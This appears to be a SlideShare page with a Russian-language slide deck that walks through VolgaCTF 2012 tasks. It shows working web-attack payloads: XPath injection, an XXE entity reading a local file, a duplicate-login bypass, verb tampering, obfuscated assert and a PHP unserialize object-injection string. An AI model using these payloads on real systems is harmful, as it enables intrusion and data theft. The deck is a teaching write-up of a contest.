SlideShare a Scribd company logo
1 of 13
Download to read offline
Разбор заданий «VolgaCTF»



                        Сергей Бобров

                        Август, 2012 г.
Задания


    Финал
     • Сервис «Карта Сокровищ» [Python/Django]


    Отборочные
     • Web100 [XSS/Bot]

     • Web200 [Authentication Bypass]

     • Web500 [Verb Tampering/Backup Files/Deobfuscation/Unserialize
      Tricks]

     • Stegano200 [WAV-file]
Сервис «Карта Сокровищ»
Сервис «Карта Сокровищ»: Уязвимости


    Отображение всех флагов в xml, предоставляющей данные
    для визуализации
Сервис «Карта Сокровищ»: Уязвимости


    Внедрение операторов XPath
     treasure = treasure_xml.xpath('/treasures/treasure

     [id = '%s' and owner='%s']' %

     (id, request.session['user'].name))




    Эксплуатация
     /treasure/view/?id=<id>' or '1'='1

     Username = ' or id= '<id>
Сервис «Карта Сокровищ»: Уязвимости


    Регистрация пользователей с одинаковым логином


     • При регистрации не проверялось наличие такого пользователя

     • При проверке прав использовался только логин пользователя




    Эксплуатация


     • Смотрим имя последнего пользователя с флагом

     • Регистрируемся с данными Login: <login>, Password: 1

     • ???

     • PROFIT!
Сервис «Карта Сокровищ»: Уязвимости


    Внедрение внешних сущностей XML (XXE Attack)
     • При добавлении флага на стороне клиента формировалась XML

     • На сервере XML-парсеры поддерживали XML eXternal Entity




    Эксплуатация
     <!DOCTYPE x [

      <!ENTITY xxe SYSTEM "file:///pathToService/Treasure.xml">

     ]>

     <treasure><name>x</name>

     <treasureData>&xxe;</treasureData>

     <x>5</x><y>5</y></treasure>
Отборочные: Задание WEB100
Отборочные: Задание WEB200

    /robots.txt

     Disallow: /_31337_4dm1np4g3


    /_31337_4dm1np4g3
     if($password != ‘xxx’) {

         header(‘Location: index.php?error’)

     }
Отборочные: Задание WEB500

    Verb Tampering
     .htaccess

     <Limit GET>

       require valid-user

     </Limit>


    Файлы бэкапа


    Обфускация
     Битовыми операциями формируются слова «chr» и цифры 0-9.

     Далее формируется строка

     a.s.s.e.r.t(c.o.d.e)

     Где каждая буква представляет собой c.h.r(0.1.2)
Отборочные: Задание WEB500

    Unserialize Tricks // bit.ly/nWyefG


     Примерный вид эксплоита:


       auth=a:3:{s:5:"login";s:6:"pirate";s:8:"password";s:7:"pirate1";s:4:
       "name";O:7:"Textbox":1:{s:12:"0Textbox0obj";C:6:"Object":86:{
       O:4:"User":2:{s:11:"0User0login";O:4:"Flag":0:{}s:14:"0User0p
       assword";s:8:"getFlags";}}}}
Отборочные: Задание Stegano200
Спасибо за внимание!


sbobrov@ptsecurity.ru

More Related Content

What's hot

Михаил Давыдов — Транспорт, Ajax
Михаил Давыдов — Транспорт, AjaxМихаил Давыдов — Транспорт, Ajax
Михаил Давыдов — Транспорт, AjaxYandex
 
"CommonJS для браузера", Антон Шувалов, MoscowJS 15
"CommonJS для браузера", Антон Шувалов, MoscowJS 15"CommonJS для браузера", Антон Шувалов, MoscowJS 15
"CommonJS для браузера", Антон Шувалов, MoscowJS 15MoscowJS
 
"Жизнь без интернета" Кувалдин Артём, Яндекс
"Жизнь без интернета" Кувалдин Артём, Яндекс"Жизнь без интернета" Кувалдин Артём, Яндекс
"Жизнь без интернета" Кувалдин Артём, Яндексit-people
 
Основые безопасности WordPress
Основые безопасности WordPressОсновые безопасности WordPress
Основые безопасности WordPressKonstantin Kovshenin
 
"Dependency Injection. JavaScript.", Сергей Камардин, MoscowJS 15
"Dependency Injection. JavaScript.", Сергей Камардин, MoscowJS 15"Dependency Injection. JavaScript.", Сергей Камардин, MoscowJS 15
"Dependency Injection. JavaScript.", Сергей Камардин, MoscowJS 15MoscowJS
 
Максим Ширшин "SVARX, или Борьба с большими формами"
Максим Ширшин "SVARX, или Борьба с большими формами"Максим Ширшин "SVARX, или Борьба с большими формами"
Максим Ширшин "SVARX, или Борьба с большими формами"Yandex
 
jQuery как путь к RIA
jQuery как путь к RIAjQuery как путь к RIA
jQuery как путь к RIAGetDev.NET
 
UWDC 2013, Как мы используем Yii
UWDC 2013, Как мы используем YiiUWDC 2013, Как мы используем Yii
UWDC 2013, Как мы используем YiiAlexander Makarov
 
«Изоморфные js приложения с использованием catberry.js», Денис Речкунов
«Изоморфные js приложения с использованием catberry.js», Денис Речкунов«Изоморфные js приложения с использованием catberry.js», Денис Речкунов
«Изоморфные js приложения с использованием catberry.js», Денис РечкуновDevDay
 

What's hot (10)

Михаил Давыдов — Транспорт, Ajax
Михаил Давыдов — Транспорт, AjaxМихаил Давыдов — Транспорт, Ajax
Михаил Давыдов — Транспорт, Ajax
 
"CommonJS для браузера", Антон Шувалов, MoscowJS 15
"CommonJS для браузера", Антон Шувалов, MoscowJS 15"CommonJS для браузера", Антон Шувалов, MoscowJS 15
"CommonJS для браузера", Антон Шувалов, MoscowJS 15
 
"Жизнь без интернета" Кувалдин Артём, Яндекс
"Жизнь без интернета" Кувалдин Артём, Яндекс"Жизнь без интернета" Кувалдин Артём, Яндекс
"Жизнь без интернета" Кувалдин Артём, Яндекс
 
Основые безопасности WordPress
Основые безопасности WordPressОсновые безопасности WordPress
Основые безопасности WordPress
 
"Dependency Injection. JavaScript.", Сергей Камардин, MoscowJS 15
"Dependency Injection. JavaScript.", Сергей Камардин, MoscowJS 15"Dependency Injection. JavaScript.", Сергей Камардин, MoscowJS 15
"Dependency Injection. JavaScript.", Сергей Камардин, MoscowJS 15
 
Nginx.pm
Nginx.pmNginx.pm
Nginx.pm
 
Максим Ширшин "SVARX, или Борьба с большими формами"
Максим Ширшин "SVARX, или Борьба с большими формами"Максим Ширшин "SVARX, или Борьба с большими формами"
Максим Ширшин "SVARX, или Борьба с большими формами"
 
jQuery как путь к RIA
jQuery как путь к RIAjQuery как путь к RIA
jQuery как путь к RIA
 
UWDC 2013, Как мы используем Yii
UWDC 2013, Как мы используем YiiUWDC 2013, Как мы используем Yii
UWDC 2013, Как мы используем Yii
 
«Изоморфные js приложения с использованием catberry.js», Денис Речкунов
«Изоморфные js приложения с использованием catberry.js», Денис Речкунов«Изоморфные js приложения с использованием catberry.js», Денис Речкунов
«Изоморфные js приложения с использованием catberry.js», Денис Речкунов
 

Similar to VolgaCTF 2012 разбор заданий

Pt devteev-risspa
Pt devteev-risspaPt devteev-risspa
Pt devteev-risspayaevents
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Andrew Mayorov
 
XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.Дмитрий Бумов
 
Web осень 2012 лекция 10
Web осень 2012 лекция 10Web осень 2012 лекция 10
Web осень 2012 лекция 10Technopark
 
СВЯТ ЛОГИН «OWASP TOP 10 2021» Online QADay 2021
СВЯТ ЛОГИН «OWASP TOP 10 2021» Online QADay 2021СВЯТ ЛОГИН «OWASP TOP 10 2021» Online QADay 2021
СВЯТ ЛОГИН «OWASP TOP 10 2021» Online QADay 2021GoQA
 
О чем мы забываем в QA или “Знакомьтесь – Manageability!”
О чем мы забываем в QA или “Знакомьтесь – Manageability!”О чем мы забываем в QA или “Знакомьтесь – Manageability!”
О чем мы забываем в QA или “Знакомьтесь – Manageability!”SQALab
 
Профилирования и оптимизация jQuery-кода
Профилирования и оптимизация jQuery-кодаПрофилирования и оптимизация jQuery-кода
Профилирования и оптимизация jQuery-кодаprivate_face
 
Профилирование и оптимизация jQuery–кода
Профилирование и оптимизация jQuery–кодаПрофилирование и оптимизация jQuery–кода
Профилирование и оптимизация jQuery–кодаprivate_face
 
Профилирование и оптимизация jQuery–кода (Владимир Журавлёв)
Профилирование и оптимизация jQuery–кода (Владимир Журавлёв)Профилирование и оптимизация jQuery–кода (Владимир Журавлёв)
Профилирование и оптимизация jQuery–кода (Владимир Журавлёв)Ontico
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptPositive Hack Days
 
Алексей Андросов "Яндекс.Почта: архитектура фронтенда как она есть"
Алексей Андросов "Яндекс.Почта: архитектура фронтенда как она есть"Алексей Андросов "Яндекс.Почта: архитектура фронтенда как она есть"
Алексей Андросов "Яндекс.Почта: архитектура фронтенда как она есть"Yandex
 
Web весна 2013 лекция 10
Web весна 2013 лекция 10Web весна 2013 лекция 10
Web весна 2013 лекция 10Technopark
 
Алексей Андросов "Архитектура фронтенда Яндекс.Почты"
Алексей Андросов "Архитектура фронтенда Яндекс.Почты"Алексей Андросов "Архитектура фронтенда Яндекс.Почты"
Алексей Андросов "Архитектура фронтенда Яндекс.Почты"Yandex
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?phpdevby
 
Web весна 2012 лекция 4
Web весна 2012 лекция 4Web весна 2012 лекция 4
Web весна 2012 лекция 4Technopark
 
WAF наше все?!
WAF наше все?!WAF наше все?!
WAF наше все?!Dmitry Evteev
 
Frontend весна 2014 лекция 2
Frontend весна 2014 лекция 2Frontend весна 2014 лекция 2
Frontend весна 2014 лекция 2Technopark
 

Similar to VolgaCTF 2012 разбор заданий (20)

Pt devteev-risspa
Pt devteev-risspaPt devteev-risspa
Pt devteev-risspa
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"
 
XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.
 
Web осень 2012 лекция 10
Web осень 2012 лекция 10Web осень 2012 лекция 10
Web осень 2012 лекция 10
 
СВЯТ ЛОГИН «OWASP TOP 10 2021» Online QADay 2021
СВЯТ ЛОГИН «OWASP TOP 10 2021» Online QADay 2021СВЯТ ЛОГИН «OWASP TOP 10 2021» Online QADay 2021
СВЯТ ЛОГИН «OWASP TOP 10 2021» Online QADay 2021
 
О чем мы забываем в QA или “Знакомьтесь – Manageability!”
О чем мы забываем в QA или “Знакомьтесь – Manageability!”О чем мы забываем в QA или “Знакомьтесь – Manageability!”
О чем мы забываем в QA или “Знакомьтесь – Manageability!”
 
Профилирования и оптимизация jQuery-кода
Профилирования и оптимизация jQuery-кодаПрофилирования и оптимизация jQuery-кода
Профилирования и оптимизация jQuery-кода
 
Профилирование и оптимизация jQuery–кода
Профилирование и оптимизация jQuery–кодаПрофилирование и оптимизация jQuery–кода
Профилирование и оптимизация jQuery–кода
 
Профилирование и оптимизация jQuery–кода (Владимир Журавлёв)
Профилирование и оптимизация jQuery–кода (Владимир Журавлёв)Профилирование и оптимизация jQuery–кода (Владимир Журавлёв)
Профилирование и оптимизация jQuery–кода (Владимир Журавлёв)
 
Jsfwdays 2013-2
Jsfwdays 2013-2Jsfwdays 2013-2
Jsfwdays 2013-2
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScript
 
Алексей Андросов "Яндекс.Почта: архитектура фронтенда как она есть"
Алексей Андросов "Яндекс.Почта: архитектура фронтенда как она есть"Алексей Андросов "Яндекс.Почта: архитектура фронтенда как она есть"
Алексей Андросов "Яндекс.Почта: архитектура фронтенда как она есть"
 
Web весна 2013 лекция 10
Web весна 2013 лекция 10Web весна 2013 лекция 10
Web весна 2013 лекция 10
 
Алексей Андросов "Архитектура фронтенда Яндекс.Почты"
Алексей Андросов "Архитектура фронтенда Яндекс.Почты"Алексей Андросов "Архитектура фронтенда Яндекс.Почты"
Алексей Андросов "Архитектура фронтенда Яндекс.Почты"
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
 
Web весна 2012 лекция 4
Web весна 2012 лекция 4Web весна 2012 лекция 4
Web весна 2012 лекция 4
 
WAF наше все?!
WAF наше все?!WAF наше все?!
WAF наше все?!
 
176023
176023176023
176023
 
Browser Persistence Bynet
Browser Persistence BynetBrowser Persistence Bynet
Browser Persistence Bynet
 
Frontend весна 2014 лекция 2
Frontend весна 2014 лекция 2Frontend весна 2014 лекция 2
Frontend весна 2014 лекция 2
 

VolgaCTF 2012 разбор заданий

  • 1. Разбор заданий «VolgaCTF» Сергей Бобров Август, 2012 г.
  • 2. Задания Финал • Сервис «Карта Сокровищ» [Python/Django] Отборочные • Web100 [XSS/Bot] • Web200 [Authentication Bypass] • Web500 [Verb Tampering/Backup Files/Deobfuscation/Unserialize Tricks] • Stegano200 [WAV-file]
  • 4. Сервис «Карта Сокровищ»: Уязвимости Отображение всех флагов в xml, предоставляющей данные для визуализации
  • 5. Сервис «Карта Сокровищ»: Уязвимости Внедрение операторов XPath treasure = treasure_xml.xpath('/treasures/treasure [id = '%s' and owner='%s']' % (id, request.session['user'].name)) Эксплуатация /treasure/view/?id=<id>' or '1'='1 Username = ' or id= '<id>
  • 6. Сервис «Карта Сокровищ»: Уязвимости Регистрация пользователей с одинаковым логином • При регистрации не проверялось наличие такого пользователя • При проверке прав использовался только логин пользователя Эксплуатация • Смотрим имя последнего пользователя с флагом • Регистрируемся с данными Login: <login>, Password: 1 • ??? • PROFIT!
  • 7. Сервис «Карта Сокровищ»: Уязвимости Внедрение внешних сущностей XML (XXE Attack) • При добавлении флага на стороне клиента формировалась XML • На сервере XML-парсеры поддерживали XML eXternal Entity Эксплуатация <!DOCTYPE x [ <!ENTITY xxe SYSTEM "file:///pathToService/Treasure.xml"> ]> <treasure><name>x</name> <treasureData>&xxe;</treasureData> <x>5</x><y>5</y></treasure>
  • 9. Отборочные: Задание WEB200 /robots.txt Disallow: /_31337_4dm1np4g3 /_31337_4dm1np4g3 if($password != ‘xxx’) { header(‘Location: index.php?error’) }
  • 10. Отборочные: Задание WEB500 Verb Tampering .htaccess <Limit GET> require valid-user </Limit> Файлы бэкапа Обфускация Битовыми операциями формируются слова «chr» и цифры 0-9. Далее формируется строка a.s.s.e.r.t(c.o.d.e) Где каждая буква представляет собой c.h.r(0.1.2)
  • 11. Отборочные: Задание WEB500 Unserialize Tricks // bit.ly/nWyefG Примерный вид эксплоита: auth=a:3:{s:5:"login";s:6:"pirate";s:8:"password";s:7:"pirate1";s:4: "name";O:7:"Textbox":1:{s:12:"0Textbox0obj";C:6:"Object":86:{ O:4:"User":2:{s:11:"0User0login";O:4:"Flag":0:{}s:14:"0User0p assword";s:8:"getFlags";}}}}